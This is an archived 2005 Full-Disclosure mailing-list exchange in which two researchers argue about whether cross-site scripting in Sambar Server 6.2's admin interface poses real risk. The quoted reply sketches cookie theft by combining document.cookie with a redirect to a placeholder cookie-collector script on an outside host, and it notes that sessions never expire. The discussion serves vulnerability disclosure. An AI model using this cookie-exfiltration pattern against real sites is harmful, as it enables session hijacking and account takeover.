full-disclosure - XSS in Sambar Server version 6.2

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <1683814a050525020636e2f605@mail.gmail.com>
Date: Wed May 25 10:06:51 2005
From: deeper at gmail.com (Daniel)
Subject: XSS in Sambar Server version 6.2

"... somebody with priviliged rights could have effected within the
application.."

so thats like writing a local sploit code which gives you a higher
level of access, when you are that higher level of access?

In this situation (and only concerned with Sambar), was it possible to
perform any of the following as a standard user (not admin etc)

- obtain the session management mechanism
- obtain any cookie
- change any aspect of the business logic for logons
- kill the session
- change any aspect of the application

There seems to be a load of theoretical vulnerability research going
on at the moment (see the archives for the OS X dashboard issue), yet
when digging into the issue at hand, i've yet to see actual risk to
the app





On 5/24/05, jamie fisher <contact_jamie_fisher@...oo.co.uk> wrote:
>  
> 
> 
> "A user can input a specially crafted script that when rendered by the
> application..."
> 
> Hopefully you can explain: 
> 
> "Multiple XSS found in the administrative interface." 
> 
> >>  This kind of pre-supposes the idea that a user has access to the
> administrative interface.  The tests I ran were purely looking at what
> somebody with priviliged rights could have effected within the application. 
> For clarification, a user is by default somebody who is "identified" and
> then "authorised" to the system.  In the case of Sambar Server version 6.2
> this is done through the mandatory access control of username and password. 
> The system in this case is the "administrative interface". 
> 
> Granted, the XSS is a very low level vulnerability.  However, combine the
> XSS with the ability to (document.cookie) and a
> document.location="http://domain.com/cookiecollector.pl"
> which logs the users cookie then this becomes more of an issue. 
> Incidentally, did you know the application does not expire session states,
> i.e., if I log off or kill my session with the browser or otherwise and a
> miscreant (somebody who uses a Lynx browser) , e.g., You, conspires to
> obtain my user identity - in this case we're using the example of the cookie
> - then certainly this issue certainly becomes one of a high level issue. 
> From personal experience I know you've run across plenty of XSS issues
> before, we've both discussed where we've collided in previous job roles.  I
> guess, in a nut shell it shows how little input/output validation is
> occuring throughout the application and what a user if so inclined, can
> force the application into rendering.  But really, I used to point out
> input/output validation issues to you along with the other stuff you used to
> miss in your web application pen tests. 
>   
> P.S. There'll be plenty of other issues (other than XSS) I'll publish re:
> Sambar Server 6.2.  I haven't got a problem if you would like to work with
> me in researching bugs/problems/issues.  It's just a matter of trying to
> work with the vendor to help find understand the issues/apply a patch.  And
> btw, this isn't a personal attack against you either =) 
>   
> J
> 
>  ________________________________
> Does your mail provider give you FREE antivirus protection? 
> Get Yahoo! Mail 
> 
>